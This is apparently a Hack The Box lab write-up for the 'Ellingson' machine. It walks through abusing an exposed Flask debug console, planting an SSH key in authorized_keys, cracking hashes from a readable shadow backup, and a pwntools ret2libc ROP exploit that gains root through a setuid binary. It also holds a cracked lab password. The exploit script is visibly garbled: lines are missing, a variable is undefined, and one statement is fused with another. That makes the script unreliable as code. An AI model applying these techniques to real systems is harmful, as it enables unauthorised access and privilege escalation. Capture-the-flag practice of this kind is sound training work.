HTB: Ellingson


This machine is Ellingson from Hack The Box


I started with a standard nmap scan

root@kali~# nmap -sV -p- -T4
Nmap scan report for
Host is up (0.031s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .


I started by looking at the webserver then

Screenshot 1

Which had a weird comment in the html

Screenshot 2

I setup and ran dirbuster

Screenshot 3

Screenshot 4

Visiting each article in order, starting with 1

Screenshot 5

Then 2

Screenshot 6

Then 3

Screenshot 7

Finally I tried to look for an article 4, which led to an error page

Screenshot 8

So it's a flask app, and has some kind of debug mode enabled, I tested it further by replacing the number in the url with a letter

Screenshot 9

At this point I realised that when I hover my mouse over an error, an icon shows up which opens an interactive python terminal

Screenshot 10

I tried putting a python reverse shell in but had no luck, so I instead imported the subprocess module and used it to enumerate

>>> import subprocess
>>> p = subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
>>> p.stdout.readlines()

Screenshot 11

So I began to dig some more

Screenshot 12

I couldn't access most of the user's homes, but I could access hal's

>>> p = subprocess.Popen('ls /home/hal', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
>>> p.stdout.readlines()

So I decided to generate an ssh key and see if I could write it in for hal

>>> f = open("/home/hal/.ssh/authorized_keys", "w")
>>> f.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUddrkEMZLho5ITM2zdV8xUoq/16+D2hzaWsRt1WmFJug4TynjKDiCUXyqv32+Q5KIjnz4tkYJPfVAE5l/9yg5wuWrPqQ2bs+58XJd0VoE6iiXB0gGRdv8+wg9EzSgA1Vil8BWjWDLWlLBhkl1leRj+TmDRGS5maub1zwzxkoYruGkXZQXP10DJ8wIte1U6OzCEcab39IeGeNHzxkErP/ydzK7QzUtkDvEqxUGJ2irjJPiQsRAbRnEyjaXUIa/ib8oN+6MYGOrXb0tw05pVI4xZj42qrbWyv2EsDKsKPTYvQzprvuBK9ByuqvSXbdxGR0AoPPr14gMTTAfEAAGaXkr root@kali")
>>> f.flush()
>>> f.close()

To test it, I tried to ssh in

root@kali:~# ssh [email protected] -i ./id_rsa

So I was logged in as hal, but no user flag yet. I first looked for suid binaries

hal@ellingson:~$ find / -perm -u=s 2>/dev/null

hal@ellingson:~$ garbage
User is not authorized to access this application. This attempt has been logged.

hal@ellingson:~$ cd /usr/bin

hal@ellingson:/usr/bin $ ls -la
-rwsr-xr-x  1 root   root       18056 Mar  9 21:04  garbage

It would run as root, but I couldn't run it properly yet. So, I moved on for other targets, in this case, I found the shadow.bak file in /var/backups was readable by the adm group. I was in that group

hal@ellingson:/var/backups$ ll
total 708
drwxr-xr-x  2 root root     4096 May  7 13:14 ./
drwxr-xr-x 14 root root     4096 Mar  9 19:12 ../
-rw-r--r--  1 root root    61440 Mar 10 06:25 alternatives.tar.0
-rw-r--r--  1 root root     8255 Mar  9 22:20 apt.extended_states.0
-rw-r--r--  1 root root      437 Jul 25  2018 dpkg.diversions.0
-rw-r--r--  1 root root      295 Mar  9 22:21 dpkg.statoverride.0
-rw-r--r--  1 root root   615441 Mar  9 22:21 dpkg.status.0
-rw-------  1 root root      811 Mar  9 22:21 group.bak
-rw-------  1 root shadow    678 Mar  9 22:21 gshadow.bak
-rw-------  1 root root     1757 Mar  9 22:21 passwd.bak
-rw-r-----  1 root adm      1309 Mar  9 20:42 shadow.bak

hal@ellingson:/var/backups$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)

So I took a look at the hashes

hal@ellingson:/var/backups$ cat shadow.bak

The important ones were


Which I saved in a file. I also noted that in article 3 from the website, they had said the most common passwords included the following words


So I created a filtered wordlist from rockyou

root@kali:~# cat /usr/share/wordlists/rockyou.txt | grep -i -E "love|secret|sex|god" > filtered.txt

Which I used to brute force the hashes

root@kali:~# john crack.txt --wordlist=./filtered.txt --format=sha512crypt
iamgod$08        (margo)

So I can now ssh in as margo

ssh [email protected]

margo@ellingson:~$ ls -la
total 52
drwxrwx--- 6 margo margo 4096 Mar 10 22:14 .
drwxr-xr-x 6 root  root  4096 Mar  9 19:21 ..
-rw-r--r-- 1 margo margo  220 Mar  9 19:20 .bash_logout
-rw-r--r-- 1 margo margo 3771 Mar  9 19:20 .bashrc
drwx------ 2 margo margo 4096 Mar 10 18:29 .cache
drwx------ 3 margo margo 4096 Mar 10 18:29 .gnupg
drwxrwxr-x 3 margo margo 4096 Mar 10 21:53 .local
-rw-r--r-- 1 margo margo  807 Mar  9 19:20 .profile
drwx------ 2 margo margo 4096 Mar  9 19:29 .ssh
-r-------- 1 margo margo   33 Mar 10 18:40 user.txt
-rw------- 1 margo margo 9539 Mar 10 22:14 .viminfo

And can get the user flag

margo@ellingson:~$ cat user.txt


I then tested if I could run the suid binary from earlier

margo@ellingson:~$ garbage
Enter access password: 

It was asking for input, so I wanted to see if I could crash it

margo@ellingson:~$ python -c "print('A'*1000)" | garbage
Enter access password:
access denied.
Segmentation fault (core dumped)

I could, so I began to work on an exploit for this program, first checking if I needed to worry about ASLR

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space

And inspecting the binary itself

margo@ellingson:~$ file /usr/bin/garbage
/usr/bin/garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped

Having gathered the required details, I used scp to download a copy of the binary to my local machine for analysis. This exploit was very similar to Bitterman, for which there is an excellent video by IppSec

First, I wanted to check which protections the program has

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

No PIE or Canaries thankfully, but with NX enabled standard shellcode techniques won't work, so this will be a ROP chain. Furthermore, ASLR is enabled and the binary is 64bit. Bruteforcing this is unfeasible, so I needed an information leak.

Next in the process was determining if I could control the instruction pointer, so I generated and fed in a pattern

gdb-peda$ pattern create 500 input
Writing pattern of 500 chars to filename "input"

gdb-peda$ run <<< $(cat input)

gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 128
Registers point to pattern buffer:
[RSP] --> offset 136 - size ~203
[R13] --> offset 384 - size ~116
Pattern buffer found at:
0x0119fdd0 : offset    0 - size  500 ([heap])
0x00007ffc1338e770 : offset    1 - size   48 ($sp + -0x248 [-146 dwords])
0x00007ffc1338e7b0 : offset  484 - size   16 ($sp + -0x208 [-130 dwords])
0x00007ffc1338e930 : offset    0 - size  500 ($sp + -0x88 [-34 dwords])
References to pattern buffer found at:
0x00007fc39e4faa18 : 0x0119fdd0 (/usr/lib/x86_64-linux-gnu/
0x00007fc39e4faa20 : 0x0119fdd0 (/usr/lib/x86_64-linux-gnu/
0x00007fc39e4faa28 : 0x0119fdd0 (/usr/lib/x86_64-linux-gnu/
0x00007fc39e4faa30 : 0x0119fdd0 (/usr/lib/x86_64-linux-gnu/
0x00007fc39e4faa38 : 0x0119fdd0 (/usr/lib/x86_64-linux-gnu/
0x00007ffc1338df18 : 0x00007ffc1338e7b0 ($sp + -0xaa0 [-680 dwords])
0x00007ffc1338e3c0 : 0x00007ffc1338e7b0 ($sp + -0x5f8 [-382 dwords])

This shoed me my offset should be at 136, so I tested this

Note: I really should have used 6 B's in the next bit, but it didn't actually matter

gdb-peda$ run <<< $(python -c "print('A'*136 + 'BBBB')")
RAX: 0x0
RBX: 0x0
RCX: 0x7f00ec46d504 (<__GI___libc_write+20>:    cmp    rax,0xfffffffffffff000)
RDX: 0x7f00ec5408c0 --> 0x0
RSI: 0x16b69c0 ("access denied.\nssword: \n\260ik\001")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffebafd9da0 --> 0x7ffebafd9e90 --> 0x1
RIP: 0x42424242 ('BBBB')
R8 : 0x7f00ec545500 (0x00007f00ec545500)
R9 : 0x7f00ec53f848 --> 0x7f00ec53f760 --> 0xfbad2a84
R10: 0xfffffffffffff638
R11: 0x246
R12: 0x401170 (<_start>:    xor    ebp,ebp)
R13: 0x7ffebafd9e90 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
Invalid $PC address: 0x42424242
0000| 0x7ffebafd9da0 --> 0x7ffebafd9e90 --> 0x1
0008| 0x7ffebafd9da8 --> 0x0
0016| 0x7ffebafd9db0 --> 0x401740 (<__libc_csu_init>:   push   r15)
0024| 0x7ffebafd9db8 --> 0x7f00ec3a709b (<__libc_start_main+235>:   mov    edi,eax)
0032| 0x7ffebafd9dc0 --> 0x0
0040| 0x7ffebafd9dc8 --> 0x7ffebafd9e98 --> 0x7ffebafdb548 ("/root/Documents/ellingson/garbage")
0048| 0x7ffebafd9dd0 --> 0x100040000
0056| 0x7ffebafd9dd8 --> 0x401619 (<main>:  push   rbp)
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000042424242 in ?? ()

The instruction pointer was successfully replaced by the B's, so the offset is correct and I can begin working on the chain. I needed to know the libc version on the target machine.

margo@ellingson:~$ ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
Written by Roland McGrath and Ulrich Drepper.

And then I needed offsets for various pieces of data, the intention will be to call puts, passing in a pointer to puts as the parameter, which will cause the runtime location of puts to be printed, I can then use the libc base value of puts to calculate the ASLR offset allowing me to call other functions.

margo@ellingson:~$ objdump -D /usr/bin/garbage | grep puts
0000000000401050 <puts@plt>:
  401050:   ff 25 d2 2f 00 00       jmpq   *0x2fd2(%rip)        # 404028 <puts@GLIBC_2.2.5>
  401321:   e8 2a fd ff ff          callq  401050 <puts@plt>
  401334:   e8 17 fd ff ff          callq  401050 <puts@plt>
  4014c3:   e8 88 fb ff ff          callq  401050 <puts@plt>
  4015fa:   e8 51 fa ff ff          callq  401050 <puts@plt>
  40160d:   e8 3e fa ff ff          callq  401050 <puts@plt>
  401651:   e8 fa f9 ff ff          callq  401050 <puts@plt>
  40165d:   e8 ee f9 ff ff          callq  401050 <puts@plt>
  401669:   e8 e2 f9 ff ff          callq  401050 <puts@plt>
  401675:   e8 d6 f9 ff ff          callq  401050 <puts@plt>
  401681:   e8 ca f9 ff ff          callq  401050 <puts@plt>
  40168d:   e8 be f9 ff ff          callq  401050 <puts@plt>
  401699:   e8 b2 f9 ff ff          callq  401050 <puts@plt>
  40171c:   e8 2f f9 ff ff          callq  401050 <puts@plt>


401050 for plt
404028 for got 

I also needed a pop rdi gadget to put the parameter for puts in the required register

root@kali:~# ropper -f ./garbage --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: ./garbage
0x000000000040179b: pop rdi; ret;

That's what I needed for an info leak, but once I have that I need to recall the main function to stop the program crashing (as a crash / reboot of the whole program would re randomise ASLR)

margo@ellingson:~$ objdump -D /usr/bin/garbage  | grep main
  401194:   ff 15 56 2e 00 00       callq  *0x2e56(%rip)        # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401619 <main>:
  401644:   0f 84 e6 00 00 00       je     401730 <main+0x117>
  4016cd:   74 24                   je     4016f3 <main+0xda>
  4016d2:   7f 07                   jg     4016db <main+0xc2>
  4016d7:   74 0e                   je     4016e7 <main+0xce>
  4016d9:   eb 3a                   jmp    401715 <main+0xfc>
  4016de:   74 1f                   je     4016ff <main+0xe6>
  4016e3:   74 26                   je     40170b <main+0xf2>
  4016e5:   eb 2e                   jmp    401715 <main+0xfc>
  4016f1:   eb 38                   jmp    40172b <main+0x112>
  4016fd:   eb 2c                   jmp    40172b <main+0x112>
  401709:   eb 20                   jmp    40172b <main+0x112>
  40172b:   e9 6e ff ff ff          jmpq   40169e <main+0x85>

With the infoleak in place, I needed to know the base address of puts to get the offset, and system to have the offset applied

margo@ellingson:~$ readelf -s /lib/x86_64-linux-gnu/ | grep puts
   191: 00000000000809c0   512 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.2.5
   422: 00000000000809c0   512 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5
   496: 00000000001266c0  1240 FUNC    GLOBAL DEFAULT   13 putspent@@GLIBC_2.2.5
   678: 00000000001285d0   750 FUNC    GLOBAL DEFAULT   13 putsgent@@GLIBC_2.10
  1141: 000000000007f1f0   396 FUNC    WEAK   DEFAULT   13 fputs@@GLIBC_2.2.5
  1677: 000000000007f1f0   396 FUNC    GLOBAL DEFAULT   13 _IO_fputs@@GLIBC_2.2.5
  2310: 000000000008a640   143 FUNC    WEAK   DEFAULT   13 fputs_unlocked@@GLIBC_2.2.5

margo@ellingson:~$ readelf -s /lib/x86_64-linux-gnu/ | grep system
   232: 0000000000159e20    99 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.2.5
   607: 000000000004f440    45 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1403: 000000000004f440    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

I also need a reference to the string "/bin/sh" for the parameter of system

margo@ellingson:~$ strings -a -t x /lib/x86_64-linux-gnu/ | grep /bin/sh
 1b3e9a /bin/sh

In theory this was all I needed, but I kept getting some issues. It occurred that maybe the binary didn't actually call setuid to gain the root privs, so I added a call to setuid to the rop chain

margo@ellingson:~$ readelf -s /lib/x86_64-linux-gnu/ | grep setuid
    23: 00000000000e5970   144 FUNC    WEAK   DEFAULT   13 setuid@@GLIBC_2.2.5

Which resulted in my final exploit of

from pwn import *
import warnings

context(os='linux', arch='amd64')
#context.log_level = 'DEBUG'

server = ssh(host='', user='margo', password='iamgod$08')
process = server.process('/usr/bin/garbage')


PLT_PUT = p64(0x401050)
GOT_PUT = p64(0x404028)
POP_RDI = p64(0x40179b)

MAIN = p64(0x401619)
AUTH = p64(0x401513)




leaked_puts = process.recvn(8).strip().ljust(8,'\x00')

log.success("Leaked puts: " + str(leaked_puts))

leaked_address = u64(leaked_puts)

log.success("Leaked after unpack: " + hex(leaked_address))

LIBC_PUTS = 0x809c0
LIBC_SYSTEM = 0x4f440
LIBC_SH = 0x1b3e9a
LIBC_SETUID = 0xe5970

offset = leaked_address - LIBC_PUTS"Offset is :" + str(offset))

live_system = p64(LIBC_SYSTEM + offset)
live_sh = p64(LIBC_SH + offset)
live_setuid = p64(LIBC_SETUID + offset)

SETUID_PARAM = '\x00' * 8

stage_two = GARBAGE + POP_RDI + SETUID_PARAM + live_setuid + POP_RDI  + live_sh + live_system




Which I ran

[+] Connecting to on port 22: Done
[*] [email protected]:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process '/usr/bin/garbage' on pid 25758
[+] Leaked puts: ��>    �
[+] Leaked after unpack: 0x7ff7093ed9c0
[*] Offset is :140698988236800
[*] Switching to interactive mode

uid=0(root) gid=1002(margo) groups=1002(margo)

I was now root and could claim my flag

$ cd /root
$ ls -la
total 60
drwx------  4 root root  4096 May  1 18:51 .
drwxr-xr-x 23 root root  4096 Mar  9 18:56 ..
-rw-------  1 root root   955 May  1 18:51 .bash_history
-rw-r--r--  1 root root  3106 Apr  9  2018 .bashrc
-rw-------  1 root root    34 May  1 18:46 .lesshst
drwxr-xr-x  3 root root  4096 Mar  9 19:43 .local
-rw-r--r--  1 root root   163 Mar 10 22:34 .profile
-r--------  1 root root    33 Mar 10 18:40 root.txt
-rw-r--r--  1 root root    75 Mar  9 22:05 .selected_editor
drwx------  2 root root  4096 Mar  9 19:49 .ssh
-rw-------  1 root root 17864 May  1 18:51 .viminfo

$ cat root.txt

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.